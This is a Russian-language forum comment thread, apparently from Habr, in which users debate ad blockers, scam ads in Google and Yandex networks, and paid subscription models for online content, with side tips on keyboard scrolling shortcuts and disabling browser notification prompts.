Будущее здесь
Контекстная реклама
Лайфхаки для гиков
Спам и антиспам
Читальный зал
Комментарии 661
+16
А почему
не надо начинать старую песню о «всплывающих видео» и прочих поп-апах
? Если у сайта реклама адекватная и ресурс мне нравится я ab отключаю, больше того, я только за чтобы мне правильная реклама валилась. Вот только трэшака до сих пор в рекламе много.
И да, разным сервисам стриминговым, патреонам и т.п. я ежемесячно около 2к отчисляю.
+14
А как вы узнаете, что реклама «адекватная», если у вас перманентно включен адблок? Просто интересно.
+3
говорят, есть один трюк. можно сначала посмотреть, адекватная реклама или нет, а уже потом перманентно включить адблок.
+1
Крайне небольшой, разумеется. Но сообщение вроде «ой, у вас адблок...» немного помогает. Это я не спора ради, а для небольшого дополнения
+1
Результат, стремящийся к нулю, на самом деле ожидаем. И добровольно платить за контент подавляющее большинство не будет. Реклама была паллиативом — неудобным всем. Платный контент — наше будущее.

Текущая ситуация плоха тем, что платить пока нет привычки, платит меньшинство. Как следствие ценники довольно высоки.
+1
Угу. А затем будет платный контент с ненавязчивой рекламой, потому что привычка есть и так выгоднее. А потом платный контент с навязчивой рекламой, потому что всё равно никто никуда не соскочит.
0
Совсем необязательно. Зависит от количества конкурентов и их уровня. Если есть сильный конкурент у которого рекламы нет, то чем очевиднее реклама (соответственно выгоднее), тем больше людей уйдет к нему.
0
По мне лучший вариант как на Яндекс.Музыке, где есть выбор — хочешь бесплатно — смотри рекламу. Хочешь без рекламы — оплачивай подписку.
0
Именно этот вариант работает хреново. По причине лёгкости «прослушивания бесплатно без рекламы» — adBlock же обсуждаем.
НЛО прилетело, и опубликовало эту надпись здесь
+4
Тут ключевое — ресурс мне нравится (читай — начинаю им пользоваться). Обычно уже на второй-третий заход на конкретный ресурс пробую ab отключать. Правда если после этого всякие баннеры открываются, или реклама со звуком, или реклама не в тему совсем, или яркая — тогда обратно включаю.
+16
Я устраиваю раз или два раза в год «ад-день», когда отключаю блокировку рекламы на всех сайтах и смотрю, что же я упускаю, и что в мире нового.
Я не против рекламы в общем, на некоторых сайтах часто рекламируют отличный товар, интересующий меня, о котором я бы иначе не узнал (я воспринимаю это как анонсы), но в большинстве своем, то, что рекламируют на сайтах мне совершенно не интересно, я никогда не покупаю товары только потому, что их рекламируют.

Блокировщики рекламы часто использую для блокировки ненужных мне элементов (бессмысленные кнопки «вверх», в т.ч. на хабрахабре, кнопки для отправки контента в социальные сети, различные анимации, вылезающие чаты на сайтах).
+2
О, интересно узнать, а почему кнопка «вверх» для Вас бесполезная? Привыкли к горячим клавишам или другие причины есть?
+6

Если сайт просматривается не с планшета/телефона, то на клавиатуре есть же кнопка .

0
А некоторые браузеры делают «Scroll to Top» при нажатии на активную вкладку. Мне, например, это кажется очень удобным решением
+1
Скорее Home, Page Up, как ни странно, поднимает на одну страницу, по крайней мере в FF.
0
Я вот заглянул к вам в профиль, а там хабы про программированию, хайлоад, и прочим техническим штукам. Как при этом можно не знать о существовании конпки «Home»?
0
Всю жизнь использую ноутбуки и практически никогда не пользовался нампадом со всеми этими клавишами, а с переходом на макбук так вообще забыл что это такое.
Но не беда, теперь буду знать.
0
на маках всё есть, и «Ё», и home/end/pgup/pgdown, и delete/backspace, просто раскладка способствует деградации
0
Даже удобнее, чем в Windows это на MacOS. Для начала строки вообще отдельная комбинация Ctrl+A, а над стрелками клавиши только для прокрутки. Я про полноразмерную клавиатуру, однако, пользовался в основном Mac-mini, но, полагаю, и на ноутбуках это продумано. И вообще в MacOS на мой взгляд полезных hot key польше, чем в Windows.
0
Не у всех она на клавиатуре есть, даже если клавиатура с нумпадом
+2
Я вот заглянул к вам в профиль, а там хабы про программированию, хайлоад, и прочим техническим штукам. Как при этом можно не знать о существовании конпки «Home»?

Не у всех она на клавиатуре есть, даже если клавиатура с нумпадом

Это да, но ведь все предыдущие знания не на этой одной клавиатуре без Home получены? Были же и другие клавиатуры
0
На iOS можно тапнуть на статусбар и контент проскроллится в самый верх (не только в браузере — во всех приложениях со скроллом). Не знаю, как я раньше жил без этой фичи.
0
Не знаю, как оно выглядит в iOS, но во всех остальных системах, думаю, это будет ctrl + Home. Так же мотает в самое начало. ctrl + end — в самый конец.
PgUp, PgDn мотает на один экранный лист вверх или вниз — так удобно просматривать те же посты и комментарии на хабре.

Может кому полезно будет узнать об этой древней магии. ;)
0
Есть еще «Space» для перемотки на страницу вниз и «Shift + Space» для перемотки на страницу вверх. Привык так листать.
+2
Я, например, пользуюсь средней кнопкой мыши. С её помощью я в принципе прокручиваю сайты, а если надо быстро вверх или вниз, то резким движением мыши это достигается весьма просто. Если же клавиатура ближе, то home/end. Вот честно, ни разу не приходилось пользоваться кнопкой на сайте.
0
У меня на маковской клавиатуре таких кнопок даже нет, их заменяет функционал Fn+стрелки, поэтому даже и не задумывался о том, что можно так делать.
+1
Я считаю, такую кнопку надо в браузер встраивать (хотя бы расширением в пару строчек), а не прикручивать к каждому сайту отдельно. То же самое касается target="_blank" без спросу или дублированием ссылки (хотя встречал и обратное мнение).
0
возвращаешь окно в фокус, случайно попадаешь в кнопку «вверх», листаешь обратно к тому месту, где остановился
бесполезная и вредная
0
Действительно, «ад-день» – увидеть сколько рекламы в интернете
+3
На самом деле, иногда достаточно посмотреть, какие сети пытаются ввернуть в рекламу. Тизерные радиоактивные отходы я не открою даже на самые жалостливые просьбы — если вебмастер скатился до тизерных сетей, жалеть его уже поздно. Только живительную эвтаназию прописывать.

Когда что-то мало-мальски вменяемое, и дрессируемое (ну там, все эти Директы-Щмиректы), и сайт информативный — не грех рекламу открыть. Не жалко для добрых людей.
+1

"Адекватная" реклама в твиче. Т.к. в приложение не установишь адблок, приходится смотреть, но отвращения не вызывает. Большинство новостей читаю в телеграме. Реклама там текстовая, с пометками #партнерский и т.п. Благодаря этому, раздражения не вызывает, в отличие от Яндекс.директа и прочей дичи на просторах интернета.


П.с. блокировщиками пользуюсь принципиально. Плачу подписки, донаты, патреоны

0
А на твиче уже прошла эра «МЫ НЕ БУДЕМ РАБАМИ» с 400% громкости и непонятные арабские песни в качестве нескипабельной рекламы?
+5
Если ресурс мне реально важен, тогда, увидев просьбу «выключаю» адблок.
Как правило мне сразу прилетает:
— попап на подписку email
— запрос на геолокацию
— скролл до кнопок «поделиться записью»
— сайт реально тормозит
— не статичная реклама (ага, я статичную не замечаю, им надо чтобы заметил, мне этого не надо — наши интересы взаимоисключающие).
Врубаю блокировки назад — я себя люблю и уважаю, помои в мозг и глаза лить не позволю.
После этого всерьез задумываюсь и, обычно, понимаю, что теперь этот говно-ресурс мне уже не нужен. Конец!

Так я попрощался с кучей сайтов. Это естественный отбор. Не мы начали эту войну. Вина вся на самих сайтах и их стремлении «заработать на юзере» — мы на такое не подписывались. Так пусть умрут.

P.S. И да, есть редкая прослойка ресурсов, что честно вещала о «фин-проблемах», без нахального вливания тонн «трех-топоров» и «почему N-выгнали с первого канала».
Они прикрутили добровольную «подписку» (по факту донат). Я там плачу.
0
О, есть ли способ выключить диалоговые окошки типа «этот сайт хочет присылать Вам уведомления».
+1
Неделю назад меня эти уведомления окончательно достали и полез искать настройки.
Оказалось всё очень просто, в FF можно принудительно отключить запросы на уведомления: настройки => приватность и защита => разрешения => уведомления => «блокировать новые запросы на отправку вам уведомлений».
0

Спасибо, мне тоже была нужна эта галочка.


Раньше для желающих подписаться был rss, теперь подписки. Тебя хотят кормить без твоего желания.

0
Неделю назад

C самого их появления отключил их через about:config и с тех пор благополучно забыл, исключая некоторые совсем дебильные сайты, которые показывают своё уведомление, забыв поинтересоваться тем, что нотификации у меня отключены. Впрочем, они распространяются через несколько сервисов, и забанив их домены в uBlock, я забыл и о них.
0
А не подскажите как там эта опция называется? А то в моей версии это в GUI не вынесено.
0
> Они прикрутили добровольную «подписку» (по факту донат). Я там плачу.

просто платный доступ к ресурсам убивает идею WWW. Если так пойдет, то при клике по каждой ссылке будет выскакивать окошко: «Заплати!». Могу предположить, что следующим шагом будет привязка карточки к браузеру для автоматической оплаты открытия платных ресурсов. В конце концов HTTP 402 уже есть.
+1
Отличное решение, если я вместо месячной оплаты интернет-провайдера буду напрямую автоматически спонсировать интересный контент. Осталось только собрать данные о том, почему юзер недоволен его низким качеством.
0
Святая наивность.
«вместо» не выйдет — будет «вместе».
Платить мы будем и за интернет(доступ во всемирную паутину), и за доступ к конкретному сайту(доступ к интересному контенту).
0
Вы вообще представляете, сколько ресурсов и с каких сайтов загружается, когда вы загружаете какую-то страничку? или вы будете какждый раз при переходе по ссылке 50 раз нажимать на кнопку — «Согласен оплатить», или вы однажды с удивлением обнаружите, что ваш любимый новостной сайт вставил ссылку на платный шрифт, который был оплачен автоматически.

Хотя нет ничего нового. Говорят у некоторых мобильных операторов можно попасть на хорошую сумму просто открыв «платный сайт». Видимо кому-то не терпится использовать этот опыт.

А еще интересно, как будут работать поисковики…
0
Да, на первых этапах действуют варварские правила, но это не отменяет введение адекватных правил в будущем.

Я не думаю, что здесь зайдет какая-то одна модель финансирования контента — моделей много под каждый конкретный контент.

Что ключевое — многим сайтам придется отказываться от убогой оптимизации действий Клиентов для быстрого заработка, и переходить на схемы долгосрочного сотрудничества. Такая схема выглядит следующим образом: какие проблемы Клиента мы решаем, за что он согласен платить?
+3
Проблема не в том, что конкретно вы отключаете эдблок. Сам по себе показ рекламы денег не приносит, деньги приносят клики. И, как мне кажется, люди, которые целенаправленно отключают эдблок с целью поддержки проекта, по рекламе не кликают.
Проблема в самом эдблоке, в его алгоритмах. Если бы он вырубал только заранее известные сети с долбанутой раздражающей рекламой – всё было бы ок, но он режет всё подряд, включая невинные гугл и яндекс рекламы, адмитат и прочее. То есть сети, где контент модерируется, и вероятность увидеть какой-то трешак очень мала, а именно такая реклама крутится на адектаных ресурсах.
+2
Довольно часто читаю один топовый блог, не реклама, его автор трепетно относится к рекламе и трешак банит. Так вот, регулярно в комментах вопли — гугл дает трешак! Причем, некоторый трешак продолжает лезть, как его не бань. В яндексе все еще хуже… Наверное, есть сети еще хуже. А прямой рекламы (которую можно согласовать) — мало.
+14
Я гугл и яндекс рекламу блокирую исключительно потому, что не хочу, чтобы эти «адекватные» мне теперь три месяца показывали рекламу Хаккапелиты. Спасибо, шины я уже купил на прошлой неделе, email с квитанцией о покупке лежит во входящих gmail'а, так что могли бы и догадаться. Но нет — теперь весь интернет был бы в этих колесах, если бы не adblock.
+1
Я понимаю о чём вы, но какая вам в общем-то разница, что он там показывает? Как по мне, главное чтобы сисек-писек не было. Вы же наверняка не особо вглядываетесь в рекламу по телевизору (допустим вы его смотрите). Плюс всегда можно тыкнуть на крестик и отметить, что эта реклама уже не актуальна.
Претензию о том, что реклама пугающая, самозапускающаяся и т.п., и по этому её надо резать, я понимаю и полностью поддерживаю. Но жаловаться на контент в обычной рекламе – странно.
+1
Плюс всегда можно тыкнуть на крестик и отметить, что эта реклама уже не актуальна.
Если бы он еще работал…
+3
Самая токсичная, те же тизеры про «против паразитов», «протигрибковые» и т.п. — там нет такого крестика, «больше этой каки не кажи». Там либо рубить напрочь всё, либо терпеть эту лживую мутотень.
+3
Большая разница. Если уж мне показывают рекламу, я хотел бы, чтобы она мне была хотя бы теоретически полезна. Особенно, если эти ненатуралы лазают ко мне в почту. Вот же, в почте лежит квитанция интернет-магазина со «спасибо за покупку», пользуйтесь! :)

Нет, будут спамить колесами. Спасибо, уже не надо, теперь мне нужны щетки дворников! :)

У вас, сцки, полный доступ к моему инету, вы должны знать, какая у меня машина, какие размеры у нее щеток, показывайте, ну? Не можете показывать такую рекламу? Ну так не показывайте никакую, Адблок велИк, иншалла :)
0
Это да, очень печалит. У них есть ML для обучения, для построения системы рекомендаций, вяские деревья принятия решений, которые могут реагировать на факторы, доступ к интернет магазинам и их товарной базе, и ничего не происходит. Годами люди жалуются на эту же проблему, на дворе почти 2к19, а они до самого лета зимнюю резину предлагать будут.
+1
Плюс всегда можно тыкнуть на крестик и отметить, что эта реклама уже не актуальна
А можно вместо того чтобы каждый раз тыкать на крестики просто поставить адблок
+1
У многих рекламных сетей есть возможность отказаться от конкретной рекламы. Жмёшь «товар куплен», и тебе начинают показывать что-нибудь другое.
+1
И во всех рекламных сетях нужно нажать «товар куплен». Спасибо, не надо, я нажму кнопку «установить AdBlock». Один раз.
+6
Регулярно в блоке Директа вижу очередных мошенников «работа за $50 в час», с самыми разными технологиями разводки пользователей. Проблема в том, что директ не предполагает даже возможности пожаловаться на них. Плюс, я уверен, модераторы отклонят претензию, т.к. не обязаны проходиьт до конца все этапы регистрации на сайтах рекламодателей, равно как и выяснять, мошенники там сидят или нет. Се ля ви. Все рекламные сети — помойки, кто-то больше, кто-то меньше.
0

Не хочу перенастраивать кучу плагинов чтоб проверить. Раньше на банерах кажется маленький крестик(или восклицательный знак в кружочке) был. Он позволял скрыть (или заменить) рекламу указав причину. Но может я с другой банерной сетью путаю.

0
В мобильном приложении его точно нет, на десктопе крестик есть, но на десктопе и так стоит блокер.
+2
Крестик есть, но вариантов «Это мошенники» последний раз когда я проверял не было. Ни у яндекса, ни у гугла. Я конечно могу сказать что меня такая реклама оскорбляет, и это будет даже правдой, но елинственное что такой вариант сделает — закроет только эту конкретную рекламу. Уже на следующей странице вполне могут всплыть их аналоги. Я пробовал блочить несколько дней подряд но толку не было.
0
как ни странно — есть у фейсбука. регулярно пользуюсь. могу сказать, что на коротком периоде никакого влияния не оказывает, а на длинном они сами выпиливаются.
0
в инкогнито, если не прописано явно обратное, все плагины отключены :) можно проверить легко и просто
0

Сейчас могу сказать только за мобильный FireFox. На приватных вкладках плагины также блокируют контент как и на обычных.

-1
Мне кажется мошенники – не проблема директа. Мошенники есть везде, и в рекламе по телевизору, и в рекламе в лифтах, и в рекламе в интернетах. Ими должны заниматься правоохранительные органы, а не юзеры. Если человек дурак – к каким-нибудь из доступных мошенников он в любом случае попадётся, так было и так будет всегда.
Ну и речь же была не о том, что они не помойки, а о том что люди начинают раздражаться от совсем уж обычной рекламы, которая действительно часто кормит сайты с годным, но бесплатным контентом. Тот же гугл живёт за счёт рекламы, не будет рекламы – не будет гугла.
+4
Мне кажется мошенники – не проблема директа. Мошенники есть везде,
Конечно, это не его проблема, это его вина.
Если у вашего подъезда будет стоять человек с ключом от домофона, за деньги впускающий всех желающих, у вас не будет к нему претензий?
0
Мошенники есть везде, и в рекламе по телевизору, и в рекламе в лифтах, и в рекламе в интернетах.

Это важно. Мошенники есть везде. Подозрение в мошенничестве – это вообще крайне размытая формулировка, которую при должном желании и рвении можно применить к 90% бизнеса. Остальное – от лукавого. Вы так говорите, как будто у них на лбу написано, что они мошенники, а на самом деле это не так. Там, где вы видите нарушение закона, его может не быть, по крайней мере явного. И оно может быть там, где вы даже не заподозрите.

Ваш пример: нет ни одного закона (могу ошибаться, но мне так кажется), запрещающего пускать в подъезд людей за деньги, лишь бы оформлено было всё правильно, с чеками и документами. И мои претензии тут никого не волнуют.
0
Подъезд принадлежит всем жильцам. Если все жильцы против того, чтобы пускать посторонних людей в подъезд (и это не 01, 02, 03 и РССП), то имеют право не пускать.
0
Ок, но это не очень подходит к тому, что автор хотел сказать своим примером. Решение или принято всеми жильцами, или я могу за деньги пускать в подъезд незнакомцев.
0
Тут вопрос не в том, имеют ли право не пускать, а в том, что нарушает если нарушает, человек, который пускает даже если все против.
+1
Да я вас таки умоляю. Проверить не очень сложно, все типовые мошеннические сайты выглядят как под копирку

а. Обязательная ссылка на светило медицины или медиа-персону, причём непременно будет ссылка на видеоролик с участием упомянутой персоны. В 2-3 минуты проверяется, что фейк

б. Зачастую есть некий липовый сертификат. По номеру сертификата элементарно проверяется в открытой базе. 101% инфа, что там вместо «Супер-пупер средства от паразитов» будет сертификат на какой-нибудь «Цемент марки 10». Ну или вообще пустышка, полная липа — которой и в реестре-то нет.

Этих двух проверок достаточно, чтобы посылать продавцов «патентованных» средств на все четыре буквы.

Но понятно, что Яндекс.Директ так делать не будет. Деньги не пахнут. А формально они отболтаются чем-то вроде «не в нашей компетенции проверять сайты на мошенничество».

Вот пока «отдел К» не оторвёт седалища от рабочих поверхностей и не выловит десяток-другой таких торговцев, да ещё и с обязательным подтверждением, что на их сайты можно выйти через Директ — Яндекс и ему подобные и не почешутся. Им зачем вносить ненужные пункты в пользовательское соглашение и отпугивать хороший источник дохода?

JFYI: сайт "Все аферы". Не очень популярный, но достаточно интересный компендиум в т.ч. подобных сайтов.
+1
JFYI: сайт «Все аферы». Не очень популярный, но достаточно интересный компендиум в т.ч. подобных сайтов.


Да, да, это точно, достаточно интересный. Особо доставляет «Срочная юридическая помощь — юрист онлайн», ненавязчиво собирающая контакты посетителей сайта. Это шесть баллов по пятибалльной шкале. Скормил им номер телефона адвокатской конторы, достающей спамом.
0
Да, достойный ответ :)
Жаль только, что принципиально ничего этим не изменится.
0
Проблема директа в том, что я не могу отключить рекламу того что лично я считаю мошенничеством. Оно может не быть таким официально, но это не значит что я должен хотеть это видеть. Но у меня нет возможности отказаться, а у директа — возможности/желания определить что мне такое показывать не надо. В итоге директ теряет еще одного потребителя. И это — уже их проблема. Один человек — проблема незаметная, ею можно пренебречь. Но я ведь не один.
+1
Да понятно что это их проблема, суть статьи не об этом. Я говорил о том, а действительно ли ваше нежелание обращать внимание на какую-то рекламу, которая кажется вам подозрительной, стоит пропажи контента? Рекламой монетизируются не только новостные ресурсы. Торрент трекеры, бесплатные просмотры онлайн фильмов (с азино три топора) и прочие штуки, которые нехило так экономят бюджет, живут за счёт рекламы. Готовы ли вы платить 5к в месяц за полностью лицензионный контент, но без рекламы? Одним лостфильмом сыт не будешь. Действительно ли ваше желание не смотреть на подозрительные рекламы стоит этих денег? Это скорее похоже на нежелание смотреть глубже.
Представьте, что телевизионная реклама считается за просмотры. И рекламу на радио научились считать по слушателям. А потом придумали глушилки для всего этого. Всё, не будет больше телеканалов, не будет радио. Я телевизор не смотрю, потому что смотрю интернет, так и интернета бесплатного не останется, не будет бесплатного ютуба, новостных сайтов и прочих площадок, которые мы так любим. Что потом делать?
+1
Это в вашем мире не будет. В моем — вполне.
Действительно ли ваше желание не смотреть на подозрительные рекламы стоит этих денег?
Этих — не стоит. Меньших — стоит и я их плачу.
Я говорил о том, а действительно ли ваше нежелание обращать внимание на какую-то рекламу, которая кажется вам подозрительной, стоит пропажи контента?
А он пропадет? Других вариантов оплаты не придумали? За контент никто не хочет платить? А он такой нужен, точно? Нетфликс великолепно живет и очень неплохо себя чувствует, Spotify вытеснил практически все альтернативы со своим «либо плати за подписку, либо слушай рекламу». Я вижу примеры того что контент не пропадает, у вас есть какие-то доводы кроме ваших страхов?
0
А вам не кажется, что нынешняя система монетизации какая-то, скажем, неправильная? Когда хлеб автора зависит от того, скольким его читателям покажут рекламу очередного увеличителя… кхм… Есть отличные обратные примеры — Netflix, Spotify, да тот же Steam, который серьезно пошатнул пиратство, поддержанное мусорной рекламой. Почему вы думаете, что текстовый контент так отличается от фильмов, музыки, игр?
0
Пожалуй соглашусь с вашим и предыдущим комментарием. Примеры хорошие и рабочие, был не прав.
+1
Конечно, оплатить подписку на все интересующие ресурсы будет дорого. Но должны появиться какие-то агрегаторы, где с ограничениями но дешевле можно будет читать всех.
0
Пусть будет подписка на рекламную сеть, убирающая её блоки.
0
Мне кажется мошенники – не проблема директа
Мне кажется, или согласно российскому законодательству ответственность за ложную рекламу (мошенничество?) несёт и рекламодатель и рекламораспространитель?
0
Так ведь нужно сначала доказать, что она ложная, а затем доказать, что у распространителя был злой умысел. Иначе виноват будет только рекламодатель.
+1
Вот и выходит как всегда — юристы Яндекса или Гугла сходу докажут, что в соответствии с такой-то статьёй такого-то закона они не имели возможности обнаружить, что вот эта реклама «пассивного дохода 200% в месяц» является мошенничеством, жалобы пользователей не сопровождались квалифицированной цифровой подписью и поэтому несмотря ни на что они продолжали вешать эту рекламу на всех подконтрольных площадках.

А пользователи насмотревшись на этот треш и осознав, что юристы рекламных сетей всегда отмажутся, делают единственное, что пока могут сделать — вырезают всю рекламу с корнем при помощи адблока.

Кто в итоге выиграл? Рекламные сети, которые в погоне за заработком дали добро на публикацию ложной рекламы прикрывшись законами?
Пользователи, которые устали от этого треша и закрываются?
Или владельцы сайтов, которые при всём желании не могут оградить свои собственные сайты от мусора в рекламе?
Сдаётся мне, что проиграли тут все. Разве что мошенники поимели денег с тех доверчивых граждан, которые ещё не дошли до установки блокировщиков рекламы.

p.s. Я вполне спокойно отношусь к сайту, на котором 2-3 рекламных картинки. На полезных сайтах даже на рекламу кликаю и прохожу 1-2 страницы рекламируемого сайта, чтобы человеку засчитали клик (тоже по сути обман, но уже обман рекламодателя — мне плевать на то, что он продаёт).
Вот только проблема — уже почти не осталось сайтов, на которых всего 2-3 мелких рекламных блока. Обычно это какая-то хрень, которая занимает пол экрана и периодически сопровождается всякими «открой рекламу по любому клику на странице» и другой жестью.
+3
невинный Гугл? Никогда не видели рекламы в виде «СУПЕРСТОЯК, прими таблетку и все женщины твои!»

И ладно, если б это была именно контекстная реклама, польза была б
+2
яндекс рекламы
То есть сети, где контент модерируется, и вероятность увидеть какой-то трешак очень мала

Я сейчас в процессе выбора машины: запросы в поиске и история посещений соответствующая. Так вот — процентов 80 Яндекс-выдачи на тему продажи авто — это развод-автосалоны (основная механика — получить подпись под кредитным договором, а дальше от фантазии), а внизу рекламного баннера написано «содействие в получении финансовых услуг». Остальное — Авто.ру и Авито.
Простите, накипело. Через «модерируемые» сети нарваться на мошенников — проще простого.
Пример рекламного блока в Я.Почте
image
+2
Это кстати очень важный момент. Т.е. если реклама вам не интересна — разницы для ресурса нет, включили вы адблок или нет. А для меня разница есть. Иметь плывущий и моргающий квадрат посреди текста мне не нравится.
+6
Для начала те же яндекс и гугл адекватными не выглядят и порой кажется, что не модерируют рекламу от слова совсем. Даже если реклама адекватна, на сайте занимает не треть КАЖДОЙ страницы, не ползет вслед за скроллом, то еще остаются метрики и телеметрия, что совсем не радует. Так что либо реклама и площадки станут адекватнее и «воспитаннее», либо вернемся в древние века, когда информация стоила очень дорого (скорее всего будем скидываться, покупать один экземпляр\подписку\нужное подобрать и просто скидывать на торренты).
0
Кстати, да.
Я в первую очередь отключаю телеметрию и лайк-кнопки, потом убираю видеобаннеры, потом слишком назойливые, всё в ручном режиме обычно.
+5
Вот +100500, «независимую журналистику» убили не потребители, а податели дикой и неуместной рекламы, от которой люди и проголосовали ногами. Ибо имеют право. White list очень хорошая идея, это зародыш интернет-демократии, жаль конечно (хотя впрочем закономерно) что сразу был укушен мухой алчности. Считаю, что white list (и что из него вырастет) должен поддерживаться гражданами интернета как нормальный демократический институт, тогда будет здоровая экосистема. А то если, например, травоядные обгладывают лиственных до нуля, то последние начинают противодействовать, и это нормально.
0
Можно также как тот же uBlock и подобные подгружают правила, ВЫгружать белые списки и на их основе (при многочисленных совпадениях) рекомендовать пользователям наиболее культурные сайты, как аналог веб оф траст. И не проплаченные, а именно то что сами люди выбирают.
0
А они начнут (явно или неявно) проплачиваться — «и повторится всё, как встарь».
0
Даже с Web of Trust (если речь про сайт WoT) не все хорошо было. Вспоминаются мне там несколько сайтов которым там загнали рейтинг по всем показателям в минимальный. Когда логично было бы — поставить один из показателей в минимум.
Просто контент… скажем так… дискуссионный настолько что некоторые товарищи в России за первую страницу могут возбудится и сразу сказать что он незаконный в России (реально… вопрос дискуссионный, авторы ничего 'такого' не имели ввиду, просто создали платформу для тех, кто думает как они, и НЕ рекламировали).

Речь вовсе не про копирайт если что.
+2
White list очень хорошая идея, это зародыш интернет-демократии, жаль конечно (хотя впрочем закономерно) что сразу был укушен мухой алчности.

Я вот читаю этот тред и, извините, в шоке с логики людей.
То есть демократия по-вашему это кому-то решить что мне делать с моим сайтом, при этом что бы я мог показывать этот сайт, я должен заплатить денег непонятным людям?
Как-то сильно походит на тоталитаризм. Заплатил челу у власти и твори что хочешь. Демократия, внезапно, от обратного.
+3
Вы как-то странно поняли только часть комментария. В нем явно порицается возможность покупки такого места. Нет, смысл в том, что вам, как владельцу сайта, чтобы его смотрели нужно убедить людей что ваш сайт достаточно хорош. Не инструмент, а людей. Разве не так вообще должен работать веб? Но сейчас он работает прямо противоположным образом — владельцы сайтов стараются убедить интрумент: индексацию гугла, блокировщики, WoT, в том что их сайт нормально показать людям. Собственно людей никто особо и не спрашивает.
+1
Стоп.
Давайте посмотрим со стороны.
Я предлагаю контент.
На тех условиях, на которых я готов его предоставлять.
Это мой контент и я вправе запросить в общем-то любые условия за его пользование.
Это мое право как владельца. Вы же продавая вещь ставите стоимость, которая вам нужна, а не которую вам сказал сосед Вася, или покупатель?
Вы можете получить контент на моих условиях или не пользоваться контентом. Это ваше право как пользователя. Покупая вещь вы выбираете из предложений рынка, так ведь?
Все остальное, имхо, от лукавого. Пользуясь блокировщиками вы фактически используете мой контент на СВОИХ условиях, что является банальным пиратством.
Почему я как владелец должен убеждать кого-то пользоваться моим контентом? Если он нужен и «стоит» того — вы покупаете. Если он вам не нужен и не стоит — вы не покупаете. Вас никто не принуждает пользоваться контентом. Вы всегда можете закрыть страницу браузера и я не вправе «заставить» вас.
Ценность конкретной вещи для меня и для покупателя может быть различна и не каждый покупатель готов заплатить те деньги, что хочу я, так же как я не готов продать за те деньги, что готов заплатить каждый покупатель. Это нормально — это рынок.
Потому работает обычный рынок и баланс спроса и предложения.
Зачем в этот баланс вводить рейтинги, убеждения и тд?
Ок. Что бы убедить я затрачу условные 50% от оборота и «убежденный» контент будет стоить на 100% дороже. Это обычный рыночный механизм — любая работа должна оплачиваться (модерация, оценка, нагон трафика (реклама) для этой самой оценки и тд.). Вы готовы за «рейтинговый» контент платить в двое дороже просто потому, что он рейтинговый?
+1
А контент ваш я обязан буду с рекламой смотреть, или уже как захочу — в т.ч. с возможностью фильтрации любым способом?

Т.е., что именно вы потребуете от посетителя?
-1
А контент ваш я обязан буду с рекламой смотреть, или уже как захочу — в т.ч. с возможностью фильтрации любым способом?

А игру я вашу в стиме должен купить или как захочу? На торрентах там качну.
Или это пиратство? Я же «на своих условиях» качаю.
Сейчас начнут сливать карму, ведь, внезапно, я не вхожу «в тренд».
На всякий случай «пылающим правым гневом» скажу, что на контенте я не зарабатываю и никогда не зарабатывал, а блокировщиков рекламы у меня никогда не стояло.
+2
«А почему вы отвечаете вопросом на вопрос?»

Вы ведь рисуете гипотетическую ситуацию. Ну так дорисуйте, посмотрим на её слабые и сильные стороны.

Что за тренд в каждом вопросе видеть подвох? Иногда сигара — это просто сигара.
0
Вы ведь рисуете гипотетическую ситуацию. Ну так дорисуйте, посмотрим на её слабые и сильные стороны.

Так я уже вполне ответил выше.
Владелец контента дал вам условия — контент с рекламой. Вы их проигнорировали и рекламу не смотрели.
Собственно результат в топике — теперь контента с рекламой нет. Весь контент за деньги.
Так же как сейчас все меньше соло игр и большинство игр завязаны на онлайн — соло игры пиратят, а пиратить ММОРПГ смысла ноль. Не хочешь смотреть рекламу — плати деньгами)
+2
Ну, если контент с рекламой, то владелец в пролёте — пусть юристы поправят, если что — законных требований не фильтровать рекламу быть не может (с тем же успехом можете потребовать не закрывать глаза и не затыкать уши в кинотеатре), а соревнование «обнаружитель фильтра рекламы vs. фильтр рекламы» будет всегда.

Лично я пошлю в дальний эротический тур любого творца контента, желающего дать мне платный контент вместе с рекламой. Что-то одно — или платность, или реклама. В этом смысле подход Netflix годится в качестве эталона.
0
Ну, если контент с рекламой, то владелец в пролёте — пусть юристы поправят, если что — законных требований не фильтровать рекламу быть не может (с тем же успехом можете потребовать не закрывать глаза и не затыкать уши в кинотеатре), а соревнование «обнаружитель фильтра рекламы vs. фильтр рекламы» будет всегда.

Вы намеренно заходите с другой стороны.
Вы по факту хотите обязать владельца контента дать вам контент бесплатно, потому что закон и тд.
Навязать какое-то соревнование по блокировке рекламы (которое тоже стоит денег) и тд. Зачем? На выходе вы получаете то что получаете — заплати за любой стоящий контент.
Собственно топик о том, что человек не хочет платить, но ему приходится потому, что есть такие люди, которые не хотят смотреть рекламу, но при этом в ЧЕСТНОМ режиме (в стиле оплатите подписку для выключения рекламы, как в ЖЖ, например) — затея провалилась и пришлось вводить платную подписку для всех.
Лично я пошлю в дальний эротический тур любого творца контента, желающего дать мне платный контент вместе с рекламой. Что-то одно — или платность, или реклама. В этом смысле подход Netflix годится в качестве эталона.

Забавная логика. Разговор шел о том, что в вашем или платность или реклама вы выбираете рекламу и блокируете, разве нет? То есть по факту или платность или бесплатность?
Вы купили подписку в ЖЖ? Или вы вообще никогда туда не заходили, а если заходили — ваш блокировщик был выключен?
Был включен? Вы сами себе противоречите. Или платность, которую вы не оплатили, или реклама, которую вы заблокировали.
0
Вы намеренно заходите с другой стороны.
Вы по факту хотите обязать владельца контента дать вам контент бесплатно, потому что закон и тд.


Полагаю, что о моих намерениях надо меня спрашивать, а не утверждать самостоятельно от моего имени.

Вопрос исключительно в том, что на входе на сайт. Если там сразу контент (а не предложение ознакомиться с правилами доступа, и прочее) — то требовать чего-то по поводу этого контента вы не можете. Вы его уже показали, простите, и моё дело, как я его смотрю — с рекламой, без, через строку или ещё как-то.

Разговор шел о том, что в вашем или платность или реклама вы выбираете рекламу и блокируете, разве нет?


Вообще-то речь о ситуации, когда даётся выбор. Так что противоречие тут кажущееся — вы применяете мои слова к другому контексту.

Если не дают выбора «платный без рекламы» — «бесплатный с рекламой» — действую по обстоятельствам (т.е. не «безусловно режу всю рекламу»).

Если пытаются навязать платный и с рекламой — прощаюсь с таким сайтом.
0
Вопрос исключительно в том, что на входе на сайт. Если там сразу контент (а не предложение ознакомиться с правилами доступа, и прочее) — то требовать чего-то по поводу этого контента вы не можете. Вы его уже показали, простите, и моё дело, как я его смотрю — с рекламой, без, через строку или ещё как-то.

Забавная логика.
А если вы зарезали блокировщиком такое предпреждение оно считаться будет или нет?
